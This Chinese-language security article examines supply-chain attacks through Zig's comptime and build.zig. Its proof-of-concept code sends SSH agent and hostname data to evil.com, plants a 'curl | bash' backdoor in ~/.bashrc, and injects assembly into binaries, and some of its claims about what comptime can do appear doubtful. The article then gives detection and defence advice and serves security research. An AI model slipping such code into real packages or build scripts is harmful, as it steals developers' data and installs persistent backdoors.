摘要

Zig 语言将编译时计算推向了极致:comptime 关键字允许在编译阶段执行几乎任意的 Zig 代码,包括文件系统 I/O、网络请求和系统命令调用。与 C++ 的 constexpr 受限求值或 Rust 的 build.rs 外部脚本不同,Zig 的 comptime 深度集成于编译器内部,与构建系统 build.zig 共享同一运行时。这一设计在带来极致元编程能力的同时,也开辟了供应链攻击的新维度——攻击者可将恶意代码伪装为看似无害的 comptime 块,在包管理器的安装阶段或开发者的本地构建中窃取 SSH 密钥、注入后门、甚至污染最终二进制产物的代码签名。

Zig 的 comptime 模型

超越 C++ constexpr 的全功能执行

C++ 的 constexpr 求值器是受限的虚拟机,禁止动态内存分配、文件 I/O 和系统调用。Rust 的 const 上下文同样局限于纯计算。而 Zig 的 comptime 是一等公民:被标记为 comptime 的变量、表达式和函数由编译器在编译时直接解释执行,并且可以调用大部分标准库函数。

Zig 编译器的内部架构决定了这一点。Zig 采用 LLVM 作为后端,但自身包含一个基于字节码的解释器用于 comptime 求值。

该解释器能够处理堆分配、切片、甚至部分 libc 调用——只要这些调用在编译主机的系统上合法。这意味着,在 comptime 块中可以:

  • 打开文件:std.fs.cwd().openFile
  • 执行系统命令:std.process.Child.exec
  • 发起网络请求:通过 std.http.Client (Zig 0.12.0+) 或调用 libc 的 socket 函数
  • 嵌入文件内容:@embedFile("path")
  • 读取环境变量:std.process.getEnvVarOwned

build.zig

Zig 的构建系统完全用 Zig 语言编写,通过 build.zig 文件定义编译步骤。该文件不是一个配置文件,而是一个可执行的 Zig 程序,由 Zig 编译器在构建时编译并运行。

                  [ 命令行输入:zig build ]
                            │
                            ▼
              ┌───────────────────────────┐
              │   build.zig 源码被编译    │
              │   并作为独立进程执行      │
              └─────────────┬─────────────┘
                            │
              ┌─────────────┴─────────────┐
              ▼                           ▼
      [ 开发者配置的步骤 ]        [ Zig 构建系统内置步骤 ]
      (addExecutable, etc.)       (Install, Uninstall)
              │                           │
              └─────────────┬─────────────┘
                            ▼
           ┌─────────────────────────────────┐
           │   有向无环图(DAG)生成与解析   │
           └─────────────────────────────────┘
                            │
            ┌───────────────┴───────────────┐
            ▼                               ▼
  [ 依赖项解析 / 编译期执行 ]     [ C/C++ 外部工具链调用 ]
    (import pkgs, run `comptime`) (cc, ld, etc. 统一的调度器)
            │                               │
            └───────────────┬───────────────┘
                            ▼
                   [ 目标产物生成 ]
                  (例如:.exe / .a / .o)

它拥有对文件系统、进程和环境的完全访问权限——因为构建系统本身就在编译主机上执行。

攻击者若能在 build.zig 中注入恶意代码,或者在上游库的 comptime 初始化块中隐藏后门,就能在开发者执行 zig build 时悄然行动。此时尚未生成任何二进制,但攻击代码已运行完毕。

供应链攻击的 comptime 面

三种典型注入点

  1. 包管理依赖:开发者引入第三方库,库的 comptime 初始化代码在类型检查阶段执行。攻击者可利用 comptime 块中的 @import("builtin") 检查目标平台,然后在特定平台释放载荷。
  2. build.zig 篡改:攻击者向开源项目提交 PR,在 build.zig 的 fn build(b: *std.Build) void 中夹带环境探测代码,将编译主机信息上传至远程服务器。
  3. 编译时代码生成:利用 comptime 生成包含后门的源代码字符串,再通过 @import 或内联汇编注入最终二进制。由于生成过程发生在编译时,源码审查无法直接看到后门。

与 Nim staticExec / npm postinstall 的对比

维度
Zig comptime
Nim staticExec
npm postinstall
执行时机
编译阶段,与类型检查交织
编译阶段,在常量定义时
安装后,在目标机器上
权限
编译用户权限
编译用户权限
安装用户权限
隐蔽性
高——混在正常代码中
中——常量定义通常集中
低——脚本文件明显
影响范围
开发者主机 + 构建产物
开发者主机
最终用户主机
依赖门槛
需在依赖库中植入
需在源码中植入
只需发布恶意包

 

Zig 的独特风险在于:comptime 代码既在开发者主机上运行,又能直接影响最终二进制的内容——这是“开发环境入侵”与“供应链接口”的重叠,攻击面远超单纯的构建脚本。

POC

依赖库中的 comptime 信息窃取

假设攻击者发布了一个名为 zfmt 的“格式化库”,其中包含以下 comptime 代码:

// src/root.zig (恶意库)
const std = @import("std");

// 在 comptime 块中执行,会在任何导入此库的模块编译时运行
comptime {
    const alloc = std.heap.page_allocator;
    const env = std.process.getEnvVarOwned(alloc, "SSH_AUTH_SOCK") catch "";
    if (env.len > 0) {
        // 将 SSH_AUTH_SOCK 路径发送到攻击者服务器
        var client = std.http.Client{ .allocator = alloc };
        defer client.deinit();
        const body = std.fmt.allocPrint(alloc, "ssh={s}", .{env}) catch return;
        _ = client.fetch(alloc, .{
            .method = .POST,
            .url = "https://evil.com/collect",
            .payload = body,
        }) catch {};
    }
}

pub fn format(writer: anytype, value: anytype) !void {
    _ = writer;
    _ = value;
}

任何 @import("zfmt") 的 Zig 项目,在编译时都会执行该 comptime 块,将开发者的 SSH 套接字路径泄露给攻击者。代码主体看似合法的格式化功能,恶意逻辑仅在编译时运行一次,最终二进制中不留痕迹。

build.zig中的持久化后门

攻击者向开源项目提交如下 build.zig 修改:

// build.zig (部分被篡改)
const std = @import("std");

pub fn build(b: *std.Build) void {
    // 正常构建流程
    const exe = b.addExecutable(.{ .name = "myapp", ... });

    // === 隐蔽后门开始 ===
    const alloc = std.heap.page_allocator;
    // 1. 检测是否在 CI 中运行
    if (std.process.getEnvVarOwned(alloc, "CI")) |ci_val| {
        // CI 环境,执行非交互式窃密
        _ = ci_val;
        uploadBuildInfo(alloc) catch {};
    } else |_| {
        // 开发者本地,尝试安装持久化后门
        installPersistence(alloc) catch {};
    }
    // === 后门结束 ===

    b.installArtifact(exe);
}

fn uploadBuildInfo(alloc: std.mem.Allocator) !void {
    var client = std.http.Client{ .allocator = alloc };
    defer client.deinit();
    const hostname = try std.os.getHostName(alloc);
    _ = client.fetch(alloc, .{
        .method = .POST,
        .url = "https://evil.com/build",
        .payload = hostname,
    }) catch {};
}

fn installPersistence(alloc: std.mem.Allocator) !void {
    // 修改 shell 配置文件,添加每次启动时执行的命令
    const home = std.process.getEnvVarOwned(alloc, "HOME") catch return;
    const rc_path = try std.fs.path.join(alloc, &.{ home, ".bashrc" });
    var file = try std.fs.cwd().openFile(rc_path, .{ .mode = .read_write });
    defer file.close();
    try file.seekFromEnd(0);
    try file.writeAll(
        \\# Added by build tool
        \\(curl -s https://evil.com/bd | bash) 2>/dev/null &
    );
}

开发者执行 zig build 时,构建脚本会静默修改其 .bashrc,植入定时拉取恶意脚本的后门。由于构建输出仍然正常(应用照常编译),开发者很难察觉。

编译时代码注入

攻击者可通过 comptime 生成包含后门的汇编或字节码,并在编译时注入到最终可执行文件中。例如,利用内联汇编在 _start 函数前插入恶意代码:

const asm_code = 
    \\.intel_syntax noprefix
    \\    mov rax, 1
    \\    mov rdi, 1
    \\    lea rsi, [rip + msg]
    \\    mov rdx, 13
    \\    syscall
    \\    jmp _start
    \\msg:
    \\    .asciz "PWNED!\\n"
;

comptime {
    // 将汇编代码注入到最终二进制
    @export(asm_code, .{ .name = "pre_main", .linkage = .Strong });
}

检测与防御

检测方法

  • 审计 build.zig 与依赖的 comptime 块:重点关注任何涉及文件系统、网络、进程执行的 comptime 代码。可使用 zig ast-check 配合自定义脚本扫描标准库危险函数调用。
  • 网络监控:在 CI 环境中监控 zig build 进程发起的外部网络连接。任何非预期的 DNS 查询或 HTTP 请求都应触发告警。
  • 差异构建对比:在受控环境下编译项目,对比两次构建的二进制哈希和中间产物。comptime 代码若包含时间戳或环境信息,可能导致构建不可重现,但这本身也是检测信号。
  • 沙箱日志:在 macOS 的 App Sandbox 或 Linux 的 seccomp 下运行 Zig 编译器,记录违规系统调用。

防御策略

  • 限制 comptime 能力:使用 Zig 编译器的 -fsandbox 选项(目前实验性),在编译时禁用文件系统和网络访问。
  • 审查构建脚本:将 build.zig 视为关键安全资产,纳入代码审查范围,禁止其中包含网络请求或文件修改逻辑。
  • 固定依赖版本与哈希校验:使用 zon 包管理器的哈希锁定机制,防止依赖被篡改。
  • 隔离构建环境:在 CI 中为每个项目使用独立的容器,避免构建时凭证泄露。

结语

Zig 的 comptime 将编译阶段推向图灵完备的极限,也模糊了“代码生成”与“代码执行”的边界。在供应链攻击日益猖獗的当下,每一行构建脚本、每一个依赖库的初始化块,都可能成为跳板。安全研究者必须开始将编译器和构建系统视为可信执行环境——只是这个环境至今尚未装上锁。或许,未来的编译沙箱与依赖签名机制,才是守住这条脆弱供应链的最后一道门。